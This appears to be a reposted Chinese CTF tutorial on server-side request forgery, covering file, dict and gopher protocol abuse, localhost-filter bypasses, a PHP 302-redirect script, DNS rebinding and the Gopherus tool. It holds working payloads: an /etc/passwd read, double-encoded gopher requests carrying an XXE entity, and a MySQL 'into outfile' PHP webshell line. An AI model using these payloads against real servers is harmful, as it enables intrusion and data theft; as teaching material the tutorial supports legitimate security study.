【Web】没人比我更懂SSRF之入门必须要懂的知识汇总

目录

SSRF速览

伪协议

总览

file伪协议

dict伪协议

http协议

gopher伪协议

绕过

127限制绕过

302重定向绕过

DNS重绑定绕过

利用

gopher模拟请求打内网其他漏洞

Gopherus乱杀打组件


先看这篇文章:https://z3r4y.blog.csdn.net/article/details/135458329

本文属于更详细讲解相关知识,对萌新更友好

SSRF速览

SSRF(service side request firgery)

攻击的目标:无法从外网访问的内部系统

形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

例如:

①从指定的URL地址获取网页文本内容

②加载指定地址的图片,下载

③识图,给出一串URL就能识别出图片

攻击方式:借助主机A发起SSRF攻击,通过主机A向主机B(可以是A所在内网的其他服务器)发起请求,从而获取主机B的一些信息,进而利用SSRF实现其他漏洞利用。

例如:

①利用file协议读取本地文件

②对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

③攻击运行在内网或本地的应用程序

④对内网web应用进行指纹识别,识别企业内部的资产信息

⑤攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

伪协议

总览

file:// 从文件系统获取文件内容 如 file:///etc/passwd

dict:// 字典服务协议,访问字典资源 如 dict:///ip:6739/info

ftp:// 可用于网络端口扫描

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传输服务

file伪协议

file:///etc/passwd 读取文件passwd

file:///etc/hosts 显示当前操作系统网卡的ip

file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)

file:///proc/net/fib_trie 显示当前网段路由信息

dict伪协议

可用于:扫描端口(查找内网主机开放端口)、获取内网信息、爆破密码等

http协议

作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源(通过目录扫描获取网站子页面)

可以用dirsearch这些目录扫描工具替代

gopher伪协议

利用范围较广:GET提交、POST提交、redis、Fastcgi、sql

gopher协议默认端口是70

gopher请求不转发第一个字符

例如:

发送端:curl gopher://127.0.0.1/abcd

接收端:bcd

发送端:curl gopher://127.0.0.1/_abcd

接收端:abcd

SSRF中利用gopher协议发送GET/POST请求(建议用bp发包)

注意:换行符:%0D%0A
回车换行要变为%0D%0A,如果直接用工具转,可能只有%0A
在http包的最后要加%0D%0A,代表消息结束

GET提交最后要增加一个换行符

GET示例:

url=gopher://127.0.0.1:80/_

GET /?name=Z3r4y HTTP/1.1
Host: www.example.com

url两次编码(一次给SSRF主机解码,一次给example.com解码)

下面用网页工具来url编码,也可以直接bp内置url全编码

CTF在线工具-在线URL编码|URL解码

url=gopher://127.0.0.1:80/_%250D%250AGET%2520/%253Fname%253DZ3r4y%2520HTTP/1.1%250AHost%253A%2520www.example.com%250D%250A

POST示例:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [  
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>
<info>
<name>&name;
</name></info>

url一次编码

%0D%0APOST%20/xxe.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20180%0D%0A%0D%0A%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0D%0A%3C%21DOCTYPE%20info%20%5B%20%20%0D%0A%3C%21ENTITY%20name%20SYSTEM%20%22php%3A//filter/read%3Dconvert.base64-encode/resource%3D/flag%22%3E%20%5D%3E%20%0D%0A%3Cinfo%3E%0D%0A%3Cname%3E%26name%3B%0D%0A%3C/name%3E%3C/info%3E%0D%0A

url两次编码后

url=gopher://127.0.0.1/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A%0A

绕过

127限制绕过

ctf中经常限制访问本地网站的内容
$_SERVER['REMOTE_ADD']=='127.0.0.1'
而127.0.0.1往往会被ban

一般有以下几种方式绕过:

1 enclosed alphanumerics 绕过(在有些环境中可以)

127.0.0.1

127.⓿.⓿.1

2 使用IP地址转换

所有的域名->IP  

ip可以使用不同进制来表示

IP地址十六进制、二进制、十进制转换-ME2在线工具

127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001
- 7F000001 16进制   http://0x7F000001


3 特殊语法绕过

Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1(Windows和Linux下均可)

127。0。0。1 可以替代127.0.0.1(Linux可)

4 利用短网址绕过

站长工具 > 在线短网址生成_短网址在线生成

baidu.com  不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

http://rurl.vip/eW7AU

302重定向绕过


如果对方可以接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议

http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&query=xxxx

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  header("Location: $schema://$ip/$query"); 
} else {header("Location: $schema://$ip:$port/$query"); 
}

起服务器用这个指令(不能用python -m http.server 8888,因为要解析php代码)

php -S 0.0.0.0:8888

DNS重绑定绕过

SSRF防御模式

我们可以看到,客户端和服务端分别都对URL进行了请求,即走了两次DNS域名解析

第一次DNS解析:对URL的host进行DNS解析
第二次DNS解析:使用CURL发包的时候进行解析

攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip,,第一次DNS解析的IP设为合法IP,第二次DNS解析的IP设为内网IP,从而SSRF访问内网


注意DNS重绑定是有概率成功,不是一次就能打通,得看运气

推荐这个网址:CEYE - Monitor service for security testing

利用

gopher模拟请求打内网其他漏洞

当漏洞存在于内网其他端口时,我们可以利用SSRF来打。

本质是用gopher/http协议模拟浏览器请求(GET/POST)行为来利用其他漏洞,如XXE,SQL注入,文件上传,文件包含,甚至一些CVE漏洞(对tomcat文件写入CVE-2017-12615),只要是我们能用手打出来的都可以用gopher来打,不过是把请求头请求体塞进gopher伪协议后面,不多赘述,懂得都懂。

Gopherus乱杀打组件

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

①使用SSRF对mysql进行未授权查询
②使用SSRF对mysql进行未授权文件写入
(select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/shell.php')

③使用SSRF对redis未授权漏洞利用,如webshell写入,ssh公钥写入,计划任务反弹shell

④使用SSRF打redis主从复制

......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/692315.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法——排序算法

目录 1、冒泡排序 2、插入排序 3、选择排序 4、归并排序 5、快速排序 6、堆排序 7、计数排序 8、桶排序 9、基数排序 常见的排序算法包括&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09;插入排序&#xff08;Insertion Sort&#xff09;选择排序&#xff08;Se…

Oracle12cR2之Job定时作业调度器详解

Oracle12cR2之Job定时作业调度器详解 文章目录 Oracle12cR2之Job定时作业调度器详解1.Oracle Job1. 关于Job2. 使用方法 2. Job详细说明1. 查看Job的相关视图2.SYS.DBA_JOBS视图字段详细说明 3. 创建及查看Job1. 创建Job2. 查看运行中的Job 1.Oracle Job 1. 关于Job 在 Oracle…

关于open3d的 kdtree模块的 查询偶发性崩溃问题

主要问题还是open3d的 kdtree模块的 query相关的算法引起的。没来得及在github提issue也查不到相关issue&#xff0c;因为是偶发性崩溃。所以需要记录一下&#xff0c;防止后人踩坑。 初始化kdtree的方式如下。 sample_pcd_data o3d.data.PCDPointCloud() pcd o3d.io.read_p…

面向对象分析和设计

面向对象分析与设计 面向对象的基本概念 软件工程学家Coad和Yourdon给出了一个定义&#xff1a;面向对象&#xff08;Object-Oriented&#xff09;对象&#xff08;Object&#xff09;继承&#xff08;Inheritance&#xff09;通信&#xff08;Communication&#xff09;。如…

设计模式: 策略模式

文章目录 一、什么是策略模式二、策略模式结构三、使用场景案例分析1、使用场景2、案例分析&#xff08;1&#xff09;消除条件分支 一、什么是策略模式 策略模式是一种行为型设计模式&#xff0c;它允许定义一组算法&#xff0c;并将每个算法封装在独立的类中&#xff0c;使它…

如何设计出用于喜欢的界面

要设计出用户喜欢的界面&#xff0c;你可以考虑以下几个方面&#xff1a; 用户研究&#xff1a;首先要了解用户的需求和偏好。你可以通过用户调研、用户访谈和数据分析来获取这些信息。了解用户的行为模式、喜好和痛点&#xff0c;有助于设计出更吸引人的界面。 直观的布局&am…

LeetCode 2656.K个元素的最大和

给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。你需要执行以下操作 恰好 k 次&#xff0c;最大化你的得分&#xff1a; 从 nums 中选择一个元素 m 。 将选中的元素 m 从数组中删除。 将新元素 m 1 添加到数组中。 你的得分增加 m 。 请你返回执行以上操作恰好 k 次后…

easyx 枪声模拟器

作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…

代码随想录算法训练营第十八天|235.二叉搜索树的最近公共祖先,701.二叉搜索树中的插入操作,450.删除二叉搜索树节点

235.二叉搜索树的最近公共祖先 701.二叉搜索树中的插入操作 450.删除二叉搜索树节点 235.二叉搜索树的最近公共祖先 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个结点 p、q&#xff0c;最近…

[Swift]定义一个全局的可管理的计时器

定义一个全局计时器&#xff0c;延迟执行操作。可以对计时器进行全局控制&#xff0c;能手动控制暂停/重启/停止&#xff0c;并在计时结束后释放掉计时器。 import Foundationclass TimerManager {static let shared TimerManager()private var timer: DispatchSourceTimer?…

基于Java+Springboot+vue体育用品销售商城平台设计和实现

基于JavaSpringbootvue体育用品销售商城平台设计和实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写> 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领…

在 Vue 中将 DOM 导出为图片

你好&#xff0c;我是小白Coding日志&#xff0c;一个热爱技术的程序员。在这里&#xff0c;我分享自己在编程和技术世界中的学习心得和体会。希望我的文章能够给你带来一些灵感和帮助。欢迎来到我的博客&#xff0c;一起在技术的世界里探索前行吧&#xff01; 在日常的工作中&…

【 Maven 】花式玩法之多模块项目

目录 一、认识Maven多模块项目 二、maven如何定义项目的发布策略 2.1 版本管理 2.2 构建配置 2.3 部署和发布 2.4 依赖管理 2.5 发布流程 三、使用Jenkins持续集成Maven项目 四、总结 如果你有一个多模块项目&#xff0c;并且想将这些模块发布到不同的仓库或目标位置&…

Javai递归实现遍历父子级菜单

目录 准备工作 递归实现 未带有显示顺序的递归遍历 准备工作 create table dormitory_management.fuzi (menu_id bigint auto_increment comment 菜单IDprimary key,menu_name varchar(50) not null comment 菜单名称,parent_id bigint default 0 null c…

在UE5中使用OverlayMaterial制作多材质效果

UE5.1中新增了OverlayMaterial&#xff0c;可以让物体套用2个材质球效果&#xff0c;如A材质球为正常材质内容&#xff0c;B材质球为菲涅尔&#xff0c;或是B材质球是法线外拓描边等&#xff0c;该功能类似Unity的多pass效果&#xff0c;方便了日常使用。 下面就讲将怎么用Ove…

开源软件的利弊

目录 开源软件 优势 免费 透明 可更改 可协作 影响力 坏处 安全隐患 良莠不齐 学习成本 持续性问题 未知风险 开源软件 开源软件是一种基于开放协作和共享的软件开发模式&#xff0c;其利弊对于软件产业和社会发展具有重要意义 优势 免费 谁能拒绝不要钱的东西…

如何接口调优?

接口调优是一个涉及多个方面的过程&#xff0c;旨在提高接口的性能、稳定性和可伸缩性。下面是一些常见的接口调优建议&#xff1a; 性能分析&#xff1a; 使用性能分析工具&#xff08;如Profiler、JMeter、LoadRunner等&#xff09;对接口进行压力测试和性能分析&#xff0c;…

多线程相关(1)

线程调度 线程状态&#xff1a;状态切换阻塞与唤醒阻塞唤醒 wait 与 sleep创建线程方式 线程是cpu任务调度的最小执行单位&#xff0c;每个线程拥有自己独立的程序计数器、虚拟机栈、本地方法栈。 线程状态&#xff1a; 线程状态包括&#xff1a;创建、就绪、运行、阻塞、死亡…

2024.2.20

使用多进程完成两个文件的拷贝&#xff0c;父进程拷贝前一半&#xff0c;子进程拷贝后一半&#xff0c;父进程回收子进程的资源 #include<myhead.h> int main(int argc, const char *argv[]) {char str[100]"";puts("please input str:");//从终端读…

深入剖析Nginx:技术解析、最佳实践和高级使用指南(二)

本系列文章简介: 本系列文章通过分析Nginx的内部机制和原理,讲解了Nginx的架构、性能优化和高可用性配置等方面的知识。此外,还介绍了Nginx的最佳实践和高级使用技巧,帮助读者更好地理解和应用Nginx。本系列文章内容详实且深入,适合对Nginx感兴趣的开发人员、系统管理员和…